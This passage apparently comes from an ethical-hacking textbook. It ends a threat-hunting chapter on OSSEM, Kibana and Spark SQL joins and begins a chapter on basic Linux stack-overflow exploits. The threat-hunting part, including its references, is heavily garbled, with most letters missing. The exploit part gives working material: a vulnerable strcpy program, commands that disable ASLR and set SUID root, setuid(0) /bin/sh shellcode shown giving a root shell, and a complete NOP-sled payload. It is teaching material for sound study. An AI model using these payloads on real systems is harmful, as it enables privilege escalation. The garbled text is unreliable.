OSSEM Jupy obook om Lab 9-. You may d o a    a md ou—
   a all! Cckg  MITRE ATT&CK amwok, w  a T059.00 
 cqu o laucg PowSll locally:
L’ look a  OSSEM dagam o a cqu, a ow x. G   ab
o dog .
187
H, w  val pa o dcg PowSll xcuo, oug cp, 
commad l, ad poc cao. Sc w loadd  Modo daa   la cap,
l’ ca a dx. Clck  K co   upp-l co o you Kbaa poal
o go o  om pag;  coll dow ad clck Idx Pa ud Maag ad
Adm  Elac Sack:
PART II
Nx, clck  blu Ca Idx Pa buo a  op o  c:
Typ logs-indexme-2020.05.02*   Idx Pa ld ad  clck 
Nx Sp buo:
Fo Tm Fl Fld Nam, lc @mamp ad clck  Ca Idx
Pa buo:
188
Now a  dx  cad, you may lc  o  l d o  Kbaa pal.
T, ac o “powershell.exe” w a l o EventID: 1 ad a da ag, a
ow x:
Now a w av all  powll.x log w ou vom, w ca l
o a pacula dxd ld valu; o xampl, w could op (xpad) a log ad coll
dow o LogoID (0x3733). LogoID ma ady ougou  o o 
u ad  uul  ackg  o acv. So, l’ ov ov  magyg
gla (w plu g), a ow x, ad  lc Fl Fo Valu.
T wll add  l o LogoId: 0x3733, owg u   o  log. Nx,
ac o “cmd.exe”, a ow x, o look o commad-l acvy:
W  v . Scollg dow oug  log, w  a clu:  PaImag
ld ( l a wa ud o ca  cu poc) a a odd am. Look lk a
cav l.
189
Now, acg o a lam, w  w av v . Scollg oug o
log, w  ou u: DMEVALS\pbly.
PART II
Now w kow  u, ad   o adm. S ould o b ug PowSll,
o l’ kp lookg. Addg  uam o  quy, a ollow, w d wok
coco   log:
Wa av w lad? Rv gg  aack o a, w av lad a 
aack a do  ollowg:
1. T u DMEVALS\pbly xcud “C:\ProgramData\victim\â€®cod.3aka3
.scr”.
2. Ta l opd a wok coco.
3. Ta l  opd cmd.x.
4. Cmd.x opd PowSll.
190
A you av , w ad w a ypo, bu   poc, w ladd  
mddl o  MITRE ATT&CK amwok,   xcuo pa. T w wokd
backwad o d  ouc o  acvy ad  u ad mac. Now,   lkly
m o coac  cd po am ad wok w m o dm  x
o  aack, a w oly av  bgg a  po—a la ul w g o 
x lab!
Threat Hunter Playbook

So a, you av lad o cawl, walk, ad  u (wll, pap jog)  a u-
g. Now l’ la ow o p by ug  Ta Hu Playbook by, you gud
,  Rodguz bo.
Departure from HELK for Now

Up o  po, w av b abl o u  DcoLab vom, augmd
w HELK o () pacc dg olad aack w AomcRdTam cp ad
() u  Modo daa om Cap 8 o pacc o mo compv aack
daa. Now w av acd  lm o ou DcoLab vom. T ao 
o o qud ouc. You may call back  Cap 8 a w lcd 4 w
allg HELK. Ta p alld  ollowg m:
2. KAFKA + KSQL + ELK + NGINX + ELASTALERT
Ta lco () qud 5GB o RAM, ad a  all w ad l a allg
  o DcoLab o  pcbd ym qum o GB RAM. Now, 
you av mo a GB o RAM avalabl o alld   cloud (lcg a lag
ym, uc a Sadad_D3_v),  you may lc  x lvl o 3:
3. KAFKA + KSQL + ELK + NGINX + SPARK + JUPYTER
A dcad,  vo a Spak ad Jupy, wc a qud o go u 
 cap. Now, wa  you do o av o ym qum ad do o wa
 xa xp o a lag cloud ac? W av you covd, o do’ woy. T
 o  cap ak advaag o a povo o  Rodguz bo, Ta
Hu Playbook, compl w a wb-bad um vom o you o cou
lag.
Spark and Jupyter

T a val ao wy Spak ad Jupy a qud o advac ou lag. A
good a Elacac ,   o a laoal daaba, o  u ou a jo a com-
puaoally xpv., 3 A join  a uco commo o SQL a allow u o com-
b daa, a pa o a quy, o b mo agd  ou vgao. Fo xampl,  w
ad wo daa ouc, o w ac_p ad u_am ad  o w ac_p ad
o_am, w could join m   ollowg way.
191
A l jo, u cod om  l ouc, w mac om  g ouc:
Data Source 1 Operation Data Source 2 Result
static_ip user_name static_ip host_name static_ip user_name static_ip host_name
192.168.1.25 pbeesly 192.168.1 scranton01 192.168.1.25 pbeesly 192.168.1.25 scranton04
Left Join =
192.168.2.23 bsimpson 192.168.1 scranton04 192.168.2.23
192.168.1.2 ckent 192.168.1 philly01 192.168.1.2 ckent 192.168.1.2 scranton01
A  jo u oly cod w macg valu  bo l ad g ouc:
PART II
static_ip user_name static_ip host_name static_ip user_name static_ip user_name
Inner Join =
192.168.2.23 bsimpson 192.168.1 scranton04 192.168.1.2 ckent 192.168.1.2 scranton01
192.168.1.2 ckent 192.168.1 philly01
A ull ou jo u cod w   a mac om  ouc:
static_ip user_name static_ip host_name static_ip user_name static_ip user_name
Full Outer =
192.168.2.23 bsimpson Join 192.168.1 scranton04 192.168.2.23 bsimpson
192.168.1.2 ckent 192.168.1 philly01 192.168.1.2 ckent 192.168.1.2 scranton01
192.168.1.5 192.168.1.5 philly01
T jo ca b pomd w Apac Spak, ug daa om Elacac, wc
 paculaly uul w a ug, allowg u o ac o c ou daa by
combg val daa ouc.4 W wll   play ou   x lab.
Lab 9-5: Automated Playbooks and Sharing of Analytics
NOTE Before we get started with this lab, please understand that we are
going to switch learning environments in order to advance our knowledge
and capability. Now, in the future, you may switch back to the built-in
playbooks, but again, you will need more system resources, as explained
previously.
I od o a aalyc ad povd a mo obu ag vom, 
Rodguz bo dvlopd a  o Jupy obook od o  Bdub
plaom.5, 
F, v p://auplaybook.com/oduco.ml.
192
O  l d o  c, clck  F Tlmy Nobook lk. T wll load
 Jupy obook pag a a  Modo daa ad all  aalyc ady o you
o la.
T, clck  ock co a  op o  c ad lauc  Bd lk.
T Jupy obook may ak a w mu o lauc, bu b pa. W 
load, clck    block o cod ad  clck  Ru buo a  op o p
shift-enter o u a block o cod ad load  qud lba. Rmmb, om
o  p   lbay wll ak a wl. You wll   -pog ymbol, [*], o
 l o  cod block ad a umb w  compl. B u o l o cod
block compl bo movg o.
B u o ad  x a  dplayd abov ac cod block o udad ;
 kp clckg  Ru buo o pg shift-enter o xcu  ubqu
cod block ul you g o  Dcomp Daa cod block. A o  wg o
 cap,   a o o  obook w pullg Modo daa, ad you
av o cag  commad o  ollowg URL (com a blow bo ug
 block):
!wget https://github.com/OTRF/Security-Datasets/raw/master/datasets/compound/
apt29/day1/apt29_evals_day1_manual.zip
193
Cou xcug  cod ad comm block ul you g o  ollowg p:
PART II
T x block o cod you xcu  Spak SQL, wc lc cod om 
ap9Ho mp vw om  Symo/Opaoal cal, w EventID = 1,
ParentImage clud “%explorer.exe”, ad Image (lam) clud “%3aka3%”.
T omao pck up om ou pvou u, w w oud a Pam clckd a
cav w  am. L’  ow dp  abb ol go!
T cod u a cod w a log y a ollow:
T ould b amla ow. Kp gog, caully udyg ac p, lookg ov
 ould o Robo Rodguz, wo ppad  o you. You wll   wok
coco w oud pvouly; you wll alo  cmd.x laucd. I  g o
  poc   o dco. Rmmb w ad pvouly a you wll o
194
a   mddl o  MITRE ATT&CK amwok ad  wok l ad g o
d  advay. You wll d  qu mpl, ul you g o “.B.. PowSll,”
w w av ou  jo am.
Rmmb om al a a  jo u a jod cod w mac om
bo daa ouc (  ca “a” ad “b”), wc a dd   op ad boom o
 INNER JOIN am. T ul a  cod, o o wc  ow 
( daa o wc w av  bo). Tak o  jo, w   u ID,  com-
mad xcud,  pa commad l,  logo ID, a valu, ad mo, all 
o vw.
You ca ow  a you ca wok maually w Elacac, o w  aac
o Apac Spak SQL, o pom advacd jo opao. A a omwok agm,
kp xcug  p   obook o la v mo. Happy ug!
195
Summary
I  cap, w ackld  opc o a ug. A ad a  bgg o 
cap, you a-ug kll wll d o b dvlopd ov ya o pacc, ad
 cap lpd abld  bac. W ad w a dcuo o daa ouc
ad ow o omalz  daa ug OSSEM. T w movd o o bac a-u-
g poc, cludg daa-dv ad ypo-dv u. W wokd oug
a  o lab, dgd o cac  uac o  kll qud ad o gv you a
PART II
amwok om wc o xpad you kowldg. Fally, w owd ow o xd
 kll  a al opaoal wok, byod you lab.
For Further Reading

Red Canary, Atomic Red Team gub.com/dcaayco/aomc-d-am
MITRE ATT&CK® Navigator m-aack.gub.o/aack-avgao/
Threat Hunting with MITRE ATT&CK® www.aug./00/05/4/a-
dco-w-m-ack-ad-aomc-dam/
SANS: Building and Growing your Threat Hunting Program www.a.og/mda/
aaly-pogam/buldg-maug-a-ug-pogam-3905.pd
Vala Coa-Gazcó. Practical Threat Intelligence and Data-Driven Threat Hunting:
A Hands-on Guide to Threat Hunting with the ATT&CKTM Framework and Open
Source Tools. Pack Publg, 0. www.amazo.com/Paccal-Ta-Hug/
dp/83855370
Threathunting.net www.aug./adg-l
“Hunt Evil: Your Practical Guide to Threat Hunting” www.aug./l/
u-vl-paccal-gud-a-ug.pd
References
1. Haua, “Ta Hug Ug Symo – Advacd Log Aaly o
Wdow,” Security Investigation, July 0, p://www.ocvgao.com/
a-ug-ug-ymo-advacd-log-aaly-o-wdow/ (accd
Augu 3, 0).
2. Robo Rodguz, “Cagozg ad Ecg Scuy Ev  a ELK w
 Hlp o Symo ad ATT&CK,” Medium, July 08, p://po.pcop
.o/cagozg-ad-cg-cuy-v--a-lk-w--lp-o-ymo-
ad-a-ck-c83034d34 (accd Augu 30, 0).
3. “OSSEM – T OSSEM Pojc.” p://ompojc.com/o.ml
(accd Augu 30, 0).
196
4. Jo Lu Rodguz, “Dg ATT&CK Daa Souc, Pa I: Eacg 
Cu Sa,” Medium, p://mdum.com/m-aack/dg-aack-daa-
ouc-pa--4c3958454 (accd Augu 3, 0).
5. “OS Cdal Dumpg: Scuy Accou Maag,” MITRE ATT&CK,
p://aack.m.og/cqu/T003/00/ (accd Augu 3, 0).
6. Robo Rodguz, “Wdow – Ta Hu Playbook.” p://
auplaybook.com/lbay/wdow/o.ml (accd Augu 3, 0).
7. Rd Caay, “Aomc Rd Tam,” GitHub. p://gub.com/dcaayco/
aomc-d-am (accd Augu 3, 0).
8. Robo Rodguz, “E Modo: P-codd Scuy Ev om Smulad
Advaal Tcqu,” p://po.pcop.o/-modo-p-codd-
cuy-v-om-mulad-advaal-cqu-d5555c9b (accd
Augu 3, 0).
9. Robo Rodguz, “Modo Lab – Pa : Dployg ATT&CK APT9 Eval
Evom va ARM Tmpla o Ca Dco Rac Oppou,”
Open Threat Research, Ju 00, p://mdum.com/a-u-og/
modo-lab-pa--dployg-a-ck-ap9-val-vom-va-am-
mpla-o-ca-cc4bc3c9a (accd Augu 3, 0).
10. C. T. Cop, “You Compl Ioducoy Gud o Udadg  MITRE
Eguy ATT&CK Evaluao Rul,” CyCraft, Ju 0, p://mdum
.com/cyca/you-compl-oducoy-gud-o-udadg--m-
guy-a-ck-valuao-ul-7b447743b88 (accd Augu 3, 0).
11. “Ioduco – Ta Hu Playbook.” p://auplaybook.com/
oduco.ml (accd Augu 07, 0).
12. Robo Rodguz, “Wlcom o HELK!: Eablg Advacd Aalyc
Capabl,” Medium, Apl 08. p://po.pcop.o/wlcom-o-lk-
ablg-advacd-aalyc-capabl-0805d0bb38 (accd Augu 3, 0).
13. Robo Rodguz, “Ta Hug w Jupy Nobook – Pa 3: Quyg
Elacac va Apac Spak,” Medium, Ju 09. p://po.pcop.o/
a-ug-w-jupy-obook-pa-3-quyg-lacac-va-apac-
pak-70054cd9d47 (accd Augu 3, 0).
14. Robo Rodguz, “Ta Hug w Jupy Nobook – Pa 4:
SQL JOIN va Apac SpakSQL,” Medium, May 09, p://po.pcop
.o/a-ug-w-jupy-obook-pa-4-ql-jo-va-apac-pakql-
3098c93 (accd Augu 3, 0).
15. “Wlcom o HELK!: Eablg Advacd Aalyc Capabl,” op. c.
16. Robo Rodguz, “Ta Hu Playbook + Modo Daa + BdHub
= Op Iaucu o Op Hu,” Open Threat Research, Dcmb 09,
p://mdum.com/a-u-og/a-u-playbook-modo-daa-
bdub-op-aucu-o-op-8c8a3d8b4 (accd Augu 3, 0).
PART III
Hacking Systems
Chapter 10 Basic Linux Exploits

Chapter 11 Advanced Linux Exploits
Chapter 12 Linux Kernel Exploits
Chapter 13 Basic Windows Exploitation
Chapter 14 Windows Kernel Exploitation
Chapter 15 PowerShell Exploitation
Chapter 16 Getting Shells Without Exploits
Chapter 17 Post-Exploitation in Modern Windows Environments
Chapter 18 Next-Generation Patch Exploitation
Basic Linux Exploits
CHAPTER
10
• Stack operations and function-calling procedures
• Buffer overflows
• Local buffer overflow exploits
• Exploit development process
Why study exploits? Ethical hackers should study exploits to understand whether vul-
nerabilities are exploitable. Sometimes security professionals mistakenly believe and will
publicly state that a certain vulnerability isn’t exploitable, but black hat hackers know
otherwise. One person’s inability to find an exploit for a vulnerability doesn’t mean
someone else can’t. It’s a matter of time and skill level. Therefore, ethical hackers must
understand how to exploit vulnerabilities and check for themselves. In the process, they
might need to produce proof-of-concept code to demonstrate to a vendor that a vulner-
ability is exploitable and needs to be fixed.
In this chapter we will focus on exploiting 32-bit Linux stack overflows, disabling
compile-time exploit mitigation techniques, and address space layout randomization
(ASLR). We’ve decided to start with these topics because they are easier to comprehend.
Once you have a solid understanding of the basics, we will focus on more advanced
64-bit Linux exploitation concepts in the next chapter.
Stack Operations and Function-Calling Procedures

The concept of a stack in computer science can best be explained by comparing it to
a stack of lunch trays in a school cafeteria. When you put a tray on the stack, the tray
that was previously on top is now covered up. When you take a tray from the stack, you
take the tray from the top of the stack, which happens to be the last one put there. More
formally, in computer science terms, a stack is a data structure that has the quality of a
first in, last out (FILO) queue.
The process of putting items on the stack is called a push and is done in assembly
language code with the push command. Likewise, the process of taking an item from
the stack is called a pop and is accomplished with the pop command in assembly
language code.
199
200
Stack Grows
Figure 10-1
The relationship
Stack Frame
of the EBP and
ESP on a stack Low Mem: ESP EBP High Mem:
0×11111111 0×fffffff0
Every program that runs has its own stack in memory. The stack grows backward
from the highest memory address to the lowest. This means that, using our cafeteria tray
example, the bottom tray would be the highest memory address and the top tray would
be the lowest. Two important registers deal with the stack: Extended Base Pointer (EBP)
and Extended Stack Pointer (ESP). As Figure 10-1 indicates, the EBP register is the base
of the current stack frame of a process (higher address). The ESP register always points
to the top of the stack (lower address).
As explained in Chapter 2, a function is a self-contained module of code that can be
called by other functions, including the main() function. When a function is called, it
causes a jump in the flow of the program. When a function is called in assembly code,
three things take place:
• By convention, the calling program sets up the function call by first placing the
function parameters on the stack in reverse order.
• Next, the Extended Instruction Pointer (EIP) is saved on the stack so the program
can continue where it left off when the function returns. This is referred to as the
return address.
• Finally, the call command is executed, and the address of the function is placed
in the EIP to execute.
NOTE The assembly shown in this chapter is produced with the gcc compile
option –fno-stack-protector (as described in Chapter 2) to disable Stack
Canary protection. A discussion of recent memory and compiler protections
can be found in Chapter 12.
In assembly code, the call looks like this:

0x5655621b <+38>: mov edx,DWORD PTR [eax]
0x5655621d <+40>: mov eax,DWORD PTR [ebx+0x4]
0x56556220 <+43>: add eax,0x4
0x56556223 <+46>: mov eax,DWORD PTR [eax]
0x56556225 <+48>: sub esp,0x8
0x56556228 <+51>: push edx
0x56556229 <+52>: push eax
0x5655622a <+53>: call 0x565561a9 <greeting>
The called function’s responsibilities are first to save the calling program’s EBP register
on the stack, then to save the current ESP register to the EBP register (setting the current
stack frame), and then to decrement the ESP register to make room for the function’s
local variables. Finally, the function gets an opportunity to execute its statements. This
process is called the function prolog.
Chapter 10: Basic Linux Exploits
201
In assembly code, the prolog looks like this:
0x000011a9 <+0>: push ebp
0x000011aa <+1>: mov ebp,esp
0x000011ac <+3>: push ebx
0x000011ad <+4>: sub esp,0x194
The last thing a called function does before returning to the calling program is to
clean up the stack by incrementing ESP to EBP, effectively clearing the stack as part of
the leave statement. Then the saved EIP is popped off the stack as part of the return
process. This is referred to as the function epilog. If everything goes well, EIP still holds
the next instruction to be fetched, and the process continues with the statement after the
function call.
In assembly code, the epilog looks like this:
0x000011f3 <+74>: leave
PART III
0x000011f4 <+75>: ret
You will see these small bits of assembly code over and over when looking for buffer
overflows.
Buffer Overflows
Now that you have the basics down, we can get to the good stuff. As described in
Chapter 2, buffers are used to store data in memory. We are mostly interested in buf-
fers that hold strings. Buffers themselves have no constraint mechanisms preventing
you from adding more data than is expected. In fact, if you get sloppy as a program-
mer, you can quickly outgrow the allocated space. For example, the following declares
a string in memory of 10 bytes:
char str1[10];
What would happen if you execute the following?

strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
Let’s find out:

//overflow.c
#include <string.h>
int main(){
char str1[10]; //declare a 10 byte string
//next, copy 35 bytes of "A" to str1
strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
return 0;
}
Now we need to compile and execute the 32-bit program. Since we are on 64-bit Kali
Linux, first we need to install gcc-multilib to cross-compile 32-bit binaries:
$ sudo apt update && sudo apt install gcc-multilib
202
After installing gcc-multilib, the next step is to compile our program using -m32 and
-fno-stack-protector to disable Stack Canary protection:
$ gcc -m32 -fno-stack-protector -o overflow overflow.c
$ ./overflow
zsh: segmentation fault ./overflow
NOTE In Linux-style operating systems, it’s worth noting the convention for
prompts that helps you distinguish between a user shell and a root shell.
Typically, a root-level shell will have a # sign as part of the prompt, whereas
user shells typically have a $ sign in the prompt. This is a visual cue that
shows when you’ve succeeded in escalating your privileges, but you’ll still
want to verify this using a command such as whoami or id.
Why did you get a segmentation fault? Let’s see by firing up gdb (the GNU Debugger):
$ gdb -q overflow
Reading symbols from overflow...
(No debugging symbols found in overflow)
(gdb) r
Starting program: /home/kali/GHHv6/ch10/overflow
Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()
(gdb) info reg eip
eip 0x41414141 0x41414141
(gdb) q
Inferior 1 [process 7790] will be killed.
Quit anyway? (y or n) y
As you can see, when you run the program in gdb, it crashes when trying to execute
the instruction at 0x41414141, which happens to be hex for AAAA (A in hex is 0x41).
Next, you can check whether the EIP was corrupted with A’s. Indeed, EIP is full of A’s,
and the program was doomed to crash. Remember, when the function (in this case, main)
attempts to return, the saved EIP value is popped off the stack and executed next. Because
the address 0x41414141 is out of your process segment, you got a segmentation fault.
NOTE Address space layout randomization (ASLR) works by randomizing

the locations of different sections of the program in memory, including the
executable base, stack, heap, and libraries, making it difficult for an attacker
to reliably jump to a specific memory address. To disable ASLR, run the
following on the command line:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Now, let’s look at attacking meet.c.

203
Lab 10-1: Overflowing meet.c
You were introduced to the meet.c program in Chapter 2. It looks like this:
//meet.c
#include <stdio.h>
#include <string.h>
void greeting(char *temp1,char *temp2) {
char name[400]; // string variable to hold the name
strcpy(name, temp2); // copy the function argument to name
printf("Hello %s %s\n", temp1, name); //print out the greeting
}
int main(int argc, char * argv[]) {
greeting(argv[1], argv[2]); //call function, pass title & name
printf("Bye %s %s\n", argv[1], argv[2]); //say "bye"
return 0; //exit program
PART III
}
We will use Python to overflow the 400-byte buffer in meet.c. Python is an interpreted
language, meaning that you do not need to precompile it, which makes it very handy to
use at the command line. For now, you only need to understand one Python command:
`python -c 'print("A"*600)'`
This command will simply print 600 A’s to standard output (stdout)—try it!
NOTE Backticks (`) are used to wrap a command and have the shell interpreter
execute the command and return the value.
Let’s compile and execute meet.c:

$ gcc -m32 -g -mpreferred-stack-boundary=2 -fno-stack-protector \
-z execstack -o meet meet.c
$./meet Mr `python -c 'print("A"*10)'`
Hello Mr AAAAAAAAAA
Bye Mr AAAAAAAAAA
Now let’s feed 600 A’s to the meet.c program as the second parameter, as follows:
$ ./meet Mr `python -c 'print("A"*600)'`
zsh: segmentation fault (core dumped) ./meet Mr `python -c 'print("A"*600)'`
As expected, your 400-byte buffer has overflowed; hopefully, so has the EIP. To verify
this, start gdb again:
$ gdb -q ./meet
Reading symbols from ./meet...
(gdb) run Mr `python -c 'print("A"*600)'`
Starting program: /home/kali/GHHv6/ch10/meet Mr `python -c 'print("A"*600)'`

0xf7e6e37f in ?? () from /lib32/libc.so.6
(gdb) info reg eip
eip 0xf7e6e37f 0xf7e6e37f
204
NOTE Your values could be different. Keep in mind that it is the concept we
are trying to get across here, not the memory values.
Not only did we not control the EIP, we have moved far away to another portion of
memory. If you take a look at meet.c, you will notice that after the strcpy() function in
the greeting function, there is a printf() call, which in turn calls vfprintf() in the libc
library. The vfprintf() function then calls strlen. But what could have gone wrong? You
have several nested functions and therefore several stack frames, each pushed on the
stack. When you caused the overflow, you must have corrupted the arguments passed
into the printf() function. Recall from the previous section that the call and prolog of a
function leave the stack looking like the following illustration:
Function
Variable Parameters
ESP Name EBP EIP Temp1 Temp2
Low Mem: High Mem:

Stack Grows
0×11111111 0×fffffff0
If you write past the EIP, you will overwrite the function arguments, starting with
temp1. Because the printf() function uses temp1, you will have problems. To check out
this theory, let’s check back with gdb. When we run gdb again, we can attempt to get
the source listing:
(gdb) list
1 // meet.c
2 #include <stdio.h> // needed for screen printing
3 #include <string.h> // needed for strcpy
4 void greeting(char *temp1,char *temp2){ // greeting function to say
hello
5 char name[400]; // string variable to hold the name
6 strcpy(name, temp2); // copy argument to name with the infamous
strcpy
7 printf("Hello %s %s\n", temp1, name); // print out the greeting
8 }
9 int main(int argc, char * argv[]){ // note the format for arguments
10 greeting(argv[1], argv[2]); // call function, pass title & name
(gdb) b 7
Breakpoint 1 at 0x11d0: file meet.c, line 7.
Breakpoint 1, greeting (temp1=0x41414141 <error: Cannot access memory at address

0x41414141>, temp2=0x41414141 <error: Cannot access memory at address 0x41414141
at meet.c:7
7 printf("Hello %s %s\n", temp1, name); // print out the greeting
You can see in the preceding bolded line that the arguments to the function, temp1
and temp2, have been corrupted. The pointers now point to 0x41414141, and the values
205
are “” (or null). The problem is that printf() will not take nulls as the only input and
therefore chokes. So let’s start with a lower number of A’s, such as 405, and then slowly
increase it until we get the effect we need:
(gdb) d 1 <remove breakpoint 1>
Hello Mr
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA

main (argc=0, argv=0x0) at meet.c:11
PART III
11 printf("Bye %s %s\n", argv[1], argv[2]); // say "bye"
(gdb) info reg ebp eip
ebp 0xffff0041 0xffff0041
eip 0x5655621e 0x5655621e <main+47>
(gdb)
...
0x56556202 in main (argc=<error reading variable: Cannot access memory at
address
0x41414149>, argv=<error reading variable: Cannot access memory at address
0x4141414d>) at meet.c:10
10 greeting(argv[1], argv[2]); // call function, pass title &
name
ebp 0x41414141 0x41414141
eip 0x56556202 0x56556202 <main+19>

...
0x41414141 in ?? ()
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
(gdb) q
Inferior 1 [process 8757] will be killed.
Quit anyway? (y or n) y
As you can see, when a segmentation fault occurs in gdb, the current value of the EIP
is shown.
It is important to realize that the numbers (400–412) are not as important as the
concept of starting low and slowly increasing until you just overflow the saved EIP and
nothing else. This is due to the printf call immediately after the overflow. Sometimes
you will have more breathing room and will not need to worry too much about this. For
example, if nothing was following the vulnerable strcpy command, there would be no
problem overflowing beyond 412 bytes in this case.
206
NOTE Remember, we are using a very simple piece of flawed code here; in
real life, you will encounter many problems like this. Again, it’s the concepts
we want you to get, not the numbers required to overflow a particular
vulnerable piece of code.
Ramifications of Buffer Overflows

When you’re dealing with buffer overflows, basically three things could happen. The
first is denial of service. As you saw previously, it is really easy to get a segmentation
fault when dealing with process memory. However, it’s possible that this is the best thing
that can happen to a software developer in this situation, because a crashed program will
draw attention.
The second thing that could happen when a buffer overflow occurs is that the EIP can
be controlled to execute malicious code at the user level of access. This happens when the
vulnerable program is running at the user level of privilege.
The third thing that could happen when a buffer overflow occurs is that the EIP can
be controlled to execute malicious code at the system or root level. Some Linux function-
alities should be protected and reserved for the root user. For example, it would generally
be a bad idea to give users root privileges to change passwords. Therefore, the concepts of
Set-user Identification (SUID) and Set-group identification (SGID) were developed to
temporarily elevate a process to allow some files to be executed under their owner’s and/
or group’s privilege level. So, for example, the passwd command can be owned by root,
and when an unprivileged user executes it, the process runs as root. The problem here is
that when the SUID/SGID program is vulnerable, a successful exploitation would drop
the privileges of the file owner or group (in the worst case, root). To make a program an
SUID program, you would issue the following command:
chmod u+s <filename> or chmod 4755 <filename>
The program will run with the permissions of the owner of the file. To see the full
ramifications of this, let’s apply SUID settings to our meet program. Then later, when we
exploit this program, we will gain root privileges.
$ sudo chown root:root meet
$ sudo chmod u+s meet
$ ls -l meet
-rwsr-xr-x 1 root root 16736 Jul 1 01:41 meet
The first field of the preceding line indicates the file permissions. The first position
of that field is used to indicate a link, directory, or file (l, d, or –). The next three posi-
tions represent the file owner’s permissions in this order: read, write, execute. When
the SUID bit is set, the x is replaced with an s, as shown. That means when the file is
executed, it will execute with the file owner’s permissions (in this case, root—the third
field in the line).
207
Local Buffer Overflow Exploits
One of the main goals of local buffer overflow exploits is to control EIP to gain arbitrary
code execution to achieve privilege escalation. In this section we will walk through some
of the most common vulnerabilities and how to exploit them.
Lab 10-2: Components of the Exploit
To build an effective exploit in a buffer overflow situation, you need to create a larger
buffer than the program is expecting by using the following components: a NOP sled,
shellcode, and a return address.
NOP Sled
PART III
In assembly code, the NOP (no operation) command simply means to do nothing but
move to the next command. Hackers have learned to use NOP for padding. When
placed at the front of an exploit buffer, this padding is called a NOP sled. If the EIP is
pointed to a NOP sled, the processor will ride the sled right into the next component.
On x86 systems, the 0x90 opcode represents NOP. There are actually many more, but
0x90 is the most commonly used. Any operation sequence that doesn’t interfere with the
exploit’s outcome would be considered equivalent to a NOP.
Shellcode
Shellcode is the term reserved for machine code that will do the hacker’s bidding. Originally,
the term was coined because the purpose of the malicious code was to provide a simple shell
to the attacker. Since then, the term has evolved to encompass code that is used to do much
more than provide a shell, such as to elevate privileges or to execute a single command on
the remote system. The important thing to realize here is that shellcode is actually a string
of binary opcodes for the exploited architecture (Intel x86 32 bit, in this case), often repre-
sented in hexadecimal form. You can find tons of shellcode libraries online, ready to be used
for all platforms. We will use Aleph1’s shellcode (shown within a test program) as follows:
#include <stdio.h>
#include <sys/mman.h>
const char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
//The shellcode is on the .data segment,

//we will use mprotect to make the page executable.
mprotect(
(void *)((int)shellcode & ~4095),
4096,
PROT_READ | PROT_WRITE | PROT_EXEC
);
208
//Convert the address of the shellcode variable to a function pointer,
//allowing us to call it and execute the code.
int (*ret)() = (int(*)())shellcode;
return ret();
}
Let’s compile and run the test shellcode.c program:

$ gcc -m32 -o shellcode shellcode.c
$ sudo chown root:root shellcode && sudo chmod u+s shellcode
$ ./shellcode
# id
uid=0(root) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),...
It worked—we got a root shell.
Lab 10-3: Exploiting Stack Overflows from the Command Line
Remember that in Lab 10-1, the size needed to overwrite EIP on meet.c is 412. There-
fore, we will use Python to craft our exploit.
First, let’s disable ASLR for this lab by executing the following command:
Now, let’s use printf and wc to calculate the size of our shellcode:
$ printf "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88
\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" | wc -c
53
Next, we will use gdb to find where to point EIP in order to execute our shellcode. We
already know that we can overwrite EIP with 412 bytes, so our first step is to load and
crash the binary from gdb. To do this, we are going to issue the following command:
$ gdb -q --args ./meet Mr `python -c 'print("A"*412)'`
Reading symbols from ./meet...
(gdb) run
Starting program: /home/kali/GHHv6/ch10/meet Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
0x41414141 in ?? ()
We have now successfully crashed our program and can see that our EIP overwrite is
0x41414141. Next, let’s look at what’s on the stack. To do that, we are going to use the
gdb command “examine memory”. Because looking at individual chunks isn’t always
super helpful, we are going to look in batches of 32 words (4 bytes) at a time.
(gdb) x/32z $esp-200
0xffffd224: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd234: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd244: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd254: 0x41414141 0x41414141 0x41414141 0x41414141
209
0xffffd264: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd274: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd284: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd294: 0x41414141 0x41414141 0x41414141 0x41414141
You can see that our A’s (0x41) are visible. We can safely pick an address from the
middle of our NOP sled to overwrite EIP. In our case, we will pick the address 0xffffd224.
(Remember, your address may be different.)
Now we’ve got everything we need to build our final exploit. We need to make sure
that our 412 bytes consist of NOPS + SHELLCODE + ADDRESS, which is broken
down as follows:
• 355 bytes of NOPs (“\x90”) // 412 - SHELLCODE - RETURN ADDRESS = 355

• 53 bytes of shellcode
• 4 bytes return address (remember to reverse this due to the little-endian style of
PART III
x86 processors)
Let’s craft our payload and feed it to our vulnerable meet.c program:
$ ./meet Mr `python -c "print('\x90'*355 + '\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb
\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08
\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh' +
'\x24\xd2\xff\xff')"`
Hello
